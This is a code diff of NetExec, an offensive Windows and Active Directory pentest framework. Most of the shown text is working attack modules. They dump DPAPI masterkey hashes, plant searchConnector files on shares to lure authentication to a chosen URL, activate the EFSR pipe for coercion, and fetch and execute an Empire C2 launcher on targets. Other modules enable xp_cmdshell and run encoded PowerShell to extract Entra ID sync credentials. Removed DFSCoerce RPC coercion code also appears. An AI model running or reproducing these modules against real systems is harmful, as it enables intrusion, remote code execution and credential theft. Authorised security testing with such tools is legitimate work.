_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
"ACE flags": ", ".join(_ace_flags) or "None",
"DEBUG": "ACE type not supported for parsing by dacleditor.py, feel free to contribute",
}
return parsed_ace
# Prints a full DACL by printing each parsed ACE
# - parsed_dacl : a parsed DACL from parse_dacl()
def print_parsed_dacl(self, context, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
try:
@@ -566,7 +494,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -574,7 +502,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -582,13 +510,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -596,18 +524,17 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
i += 1
# Prints properly a parsed ACE
# - parsed_ace : a parsed ACE from parse_ace()
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):
+3 -138
View File
@@ -1,21 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -23,131 +9,10 @@ class NXCModule:
self.listener = None
def options(self, context, module_options):
"""
LISTENER Listener Address (defaults to 127.0.0.1)
"""
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
self.listener = "127.0.0.1"
if "LISTENER" in module_options:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
else:
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
# rpctransport.setRemoteHost(target)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
return
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
return
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = "%s\x00" % listener
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
# logger.debug(request.dump())
resp = dce.request(request)
except Exception as e:
nxc_logger.debug(e)
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+62
View File
@@ -0,0 +1,62 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+19 -26
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ntpath
import tempfile
@@ -15,8 +12,6 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -47,22 +42,21 @@ class NXCModule:
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
if not self.cleanup:
self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
scfile = open(self.scfile_path, "w")
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write("<url>{}</url>".format(self.url))
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
scfile.close()
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write(f"<url>{self.url}</url>")
scfile.write("</simpleLocation>")
scfile.write("</searchConnectorDescription>")
def on_login(self, context, connection):
shares = connection.shares()
@@ -74,13 +68,12 @@ class NXCModule:
with open(self.scfile_path, "rb") as scfile:
try:
connection.conn.putFile(share["name"], self.file_path, scfile.read)
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share")
except Exception as e:
context.log.exception(e)
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}")
+66
View File
@@ -0,0 +1,66 @@
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps all computers in the domain"
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
OUTPUT Output to file in addition to printing to console
Examples
--------
netexec ldap $DC-IP -u $username -p $password -M dump-computers
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
"""
self.output_file = None
self.netbios_only = False
self.fqdn_only = False
if "OUTPUT" in module_options:
self.output_file = module_options["OUTPUT"]
if "TYPE" in module_options:
if module_options["TYPE"].lower() == "netbios":
self.netbios_only = True
elif module_options["TYPE"].lower() == "fqdn":
self.fqdn_only = True
def on_login(self, context, connection):
resp = connection.search(
searchFilter="(objectCategory=computer)",
attributes=["dNSHostName", "operatingSystem"]
)
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item["dNSHostName"]
operating_system = item.get("operatingSystem", "Unknown OS")
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
answer = netbios_name
elif self.fqdn_only:
answer = dns_host_name
else:
answer = f"{dns_host_name} ({operating_system})"
answers.append(answer)
context.log.success("Found the following computers:")
for answer in answers:
context.log.highlight(answer)
if self.output_file:
try:
with open(self.output_file, "w") as f:
f.write("\n".join(answers) + "\n")
context.log.success(f"Results saved to {self.output_file}")
except Exception as e:
context.log.error(f"Failed to write to file {self.output_file}: {e}")
+110
View File
@@ -0,0 +1,110 @@
import ntpath
from nxc.helpers.misc import gen_random_string
from nxc.context import Context
from impacket.smb3structs import FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_ATTRIBUTE_ENCRYPTED
from impacket.smbconnection import SessionError, SMBConnection
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
class NXCModule:
"""EFSR Spray Module
Module by @rtpt-romankarwacik
"""
name = "efsr_spray"
description = "Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, seperated by comma
"""
self.file_name = module_options.get("FILE_NAME", ntpath.normpath("\\" + gen_random_string() + ".txt"))
self.share_name = module_options.get("SHARE_NAME")
if module_options.get("EXCLUDED_SHARES"):
self.excluded_shares += module_options.get("EXCLUDED_SHARES", "").split(",")
def on_login(self, context: Context, connection):
conn: SMBConnection = connection.conn # Because typing is broken due to smb being a folder and a file >:(
try:
shares = conn.listShares()
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating shares: {error}", color="magenta")
return
# Check if named pipe is already available
try:
named_pipe_names = [f.get_shortname() for f in conn.listPath("IPC$", "*")]
if "efsrpc" in named_pipe_names:
context.log.highlight("efsrpc named pipe is already available!")
# if it is already activated we just skip this computer
return
except SessionError as e:
error = get_error_string(e)
context.log.fail(f"Error enumerating named pipes: {error}", color="magenta")
return
# Write an encrypted file on the share root.
# This will likely fail with STATUS_ACCESS_DENIED if we do not have the permission to create encrypted files,
# but this does not matter as the service will be activated nevertheless if we have WRITE or MODIFY access
for share in shares:
share_name = share["shi1_netname"][:-1]
if self.share_name is not None and self.share_name != share_name:
continue
if share_name in self.excluded_shares:
continue
try:
context.log.debug(f"Connecting to share {share_name}...")
tid = conn.connectTree(share_name)
except SessionError as e:
context.log.debug(f"Could not connect to share {share_name}: {e}")
continue
try:
context.log.debug(f"Creating file in {share_name}...")
fid = conn.createFile(tid, self.file_name,
desiredAccess=FILE_SHARE_WRITE,
shareMode=FILE_SHARE_DELETE,
fileAttributes=FILE_ATTRIBUTE_ENCRYPTED)
conn.closeFile(tid, fid)
try:
# this can happen when we have special permissions to create encrypted files
conn.deleteFile(share_name, self.file_name)
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
pass
context.log.fail(f"Error DELETING created temp file {self.file_name} on share {share_name}: {error}")
except SessionError as e:
context.log.debug(f"Error writing encrypted file on share {share_name}: {get_error_string(e)} (This does not necessarily mean that the attack failed!)")
try:
tid = conn.connectTree("IPC$")
conn.waitNamedPipe(tid, "efsrpc", 10)
context.log.highlight("Successfully activated efsrpc named pipe!")
except SessionError as e:
error = get_error_string(e)
if error == "STATUS_OBJECT_NAME_NOT_FOUND":
context.log.debug("efsrpc pipe was not activated.")
else:
context.log.fail(f"Error waiting for named pipe: {error}", color="magenta")
return
+4 -16
View File
@@ -1,15 +1,7 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import requests
from requests import ConnectionError
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class NXCModule:
"""
@@ -20,8 +12,6 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -38,10 +28,10 @@ class NXCModule:
api_proto = "https" if "SSL" in module_options else "http"
obfuscate = True if "OBFUSCATE" in module_options else False
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
@@ -100,7 +90,7 @@ class NXCModule:
verify=False,
)
except ConnectionError:
context.log.fail(f"Unable to request stager from Empire's RESTful API")
context.log.fail("Unable to request stager from Empire's RESTful API")
sys.exit(1)
if stager_response.status_code not in [200, 201]:
@@ -111,7 +101,6 @@ class NXCModule:
sys.exit(1)
context.log.debug(f"Response Code: {stager_response.status_code}")
# context.log.debug(f"Response Content: {stager_response.text}")
stager_create_data = stager_response.json()
context.log.debug(f"Stager data: {stager_create_data}")
@@ -123,14 +112,13 @@ class NXCModule:
verify=False,
)
context.log.debug(f"Response Code: {download_response.status_code}")
# context.log.debug(f"Response Content: {download_response.text}")
self.empire_launcher = download_response.text
if download_response.status_code == 200:
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
else:
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
context.log.fail("Something went wrong when retrieving stager Powershell command")
def on_admin_login(self, context, connection):
if self.empire_launcher:
+74
View File
@@ -0,0 +1,74 @@
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
Module by crosscutsaw
"""
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
def __init__(self):
self.mssql_conn = None
self.context = None
self.action = None
self.advanced_options_backup = None # Stores original value of 'show advanced options'
def options(self, context, module_options):
"""
ACTION enable or disable xp_cmdshell
Examples
--------
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
"""
if "ACTION" in module_options:
self.action = module_options["ACTION"].lower()
else:
context.log.fail("Missing required option: ACTION (enable/disable)")
exit(1)
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if self.action == "enable":
self.toggle_xp_cmdshell(enable=True)
elif self.action == "disable":
self.toggle_xp_cmdshell(enable=False)
else:
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
query = "SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'"
res = self.mssql_conn.sql_query(query)
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
def restore_show_advanced_options(self):
"""Restores the original state of 'show advanced options' if needed."""
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
# Enable 'show advanced options' if it was disabled
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
action_text = "enabled" if enable else "disabled"
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
# Restore 'show advanced options' to its original state if needed
self.restore_show_advanced_options()
+81
View File
@@ -0,0 +1,81 @@
import re
from termcolor import colored
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
class NXCModule:
"""Module by @NeffIsBack"""
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
self.context = context
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
msol_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=MSOL_*)",
attributes=["sAMAccountName", "cn", "description"],
))
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
adsync_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=ADSyncMSA*)",
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
))
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
hosts = []
for acc in msol_parsed:
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
if host:
hostname = host.group("host")
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
hosts.append({
"hostname": hostname,
"ip": ip,
"msol_account": acc["sAMAccountName"],
})
for adsync in adsync_parsed:
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
# Get the computer object for the ADSyncMSA service account
computer = parse_result_attributes(connection.search(
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
attributes=["dNSHostName", "cn", "sAMAccountName"],
))[0]
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
if host and host["ip"]: # Skip if host and IP are already set
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
continue
elif host: # If host exists but IP is not set, update it
host["ip"] = connection.resolver(computer["dNSHostName"])
else: # If host does not exist, create a new entry
hosts.append({
"hostname": computer["cn"],
"ip": connection.resolver(computer["dNSHostName"]),
})
if hosts:
self.context.log.success("Found Entra ID sync servers:")
for host in hosts:
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
+49
View File
@@ -0,0 +1,49 @@
from base64 import b64encode
from nxc.helpers.powershell import get_ps_script
class NXCModule:
"""
Example:
-------
Module by @NeffIsBack
"""
name = "entra-sync-creds"
description = "Extract Entra ID sync credentials from the target host"
supported_protocols = ["smb"]
opsec_safe = True
def __init__(self):
self.context = None
self.module_options = None
self.entra_id_psscript = ""
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
for line in psFile:
if line.startswith("#") or line.strip() == "":
continue
else:
self.entra_id_psscript += line.strip() + "\n"
def options(self, context, module_options):
"""No module options available."""
def on_admin_login(self, context, connection):
self.context = context
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
if "CLIXML" in out:
out = out.split("CLIXML")[1].split("<Objs Version")[0]
for line in out.splitlines():
if not line.strip():
continue
if "[!]" in line:
self.context.log.fail(line.replace("[!]", "").strip())
else:
self.context.log.highlight(line.strip())
+208 -340
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# All credit to @an0n_r0
# project : https://github.com/tothi/serviceDetector
# https://github.com/tothi/serviceDetector
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
import pathlib
@@ -19,90 +18,86 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""" """
pass
"""
"""
def on_login(self, context, connection):
success = 0
target = self._get_target(connection)
context.log.debug(f"Detecting installed services on {target} using LsarLookupNames()...")
results = self._detect_installed_services(context, connection, target)
self.detect_running_processes(context, connection, results)
self.dump_results(results, context)
def _get_target(self, connection):
return connection.host if not connection.kerberos else f"{connection.hostname}.{connection.domain}"
def _detect_installed_services(self, context, connection, target):
results = {}
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
try:
lsa = LsaLookupNames(
connection.domain,
connection.username,
connection.password,
target,
connection.kerberos,
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey,
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
remoteHost=connection.host,
kdcHost=connection.kdcHost,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, rpctransport = lsa.connect()
policyHandle = lsa.open_policy(dce)
for i, product in enumerate(conf["products"]):
dce, _ = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
if product["name"] not in results:
results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service)
except Exception as e:
results.setdefault(product["name"], {"services": []})["services"].append(service)
except Exception:
pass
success += 1
except Exception as e:
context.log.fail(str(e))
return results
def detect_running_processes(self, context, connection, results):
context.log.info(f"Detecting running processes on {connection.host} by enumerating pipes...")
try:
for f in connection.conn.listPath("IPC$", "\\*"):
fl = f.get_longname()
for i, product in enumerate(conf["products"]):
for product in conf["products"]:
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
if product["name"] not in results:
results[product["name"]] = {}
if "pipes" not in results[product["name"]]:
results[product["name"]]["pipes"] = []
results[product["name"]]["pipes"].append(pipe)
success += 1
context.log.info(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.debug(str(e))
context.log.fail(str(e))
self.dump_results(results, connection.hostname, success, context)
def dump_results(self, results, context):
if not results:
context.log.highlight("Found NOTHING!")
return
def dump_results(self, results, remoteName, success, context):
# out1 = "On host {} found".format(remoteName)
out1 = ""
for item in results:
out = out1
if "services" in results[item]:
out += f"{item} INSTALLED"
if "pipes" in results[item]:
out += " and it seems to be RUNNING"
# else:
# for product in conf['products']:
# if (item == product['name']) and (len(product['pipes']) == 0):
# out += " (NamedPipe for this service was not provided in config)"
elif "pipes" in results[item]:
out += f" {item} RUNNING"
context.log.highlight(out)
if (len(results) < 1) and (success > 1):
out = out1 + " NOTHING!"
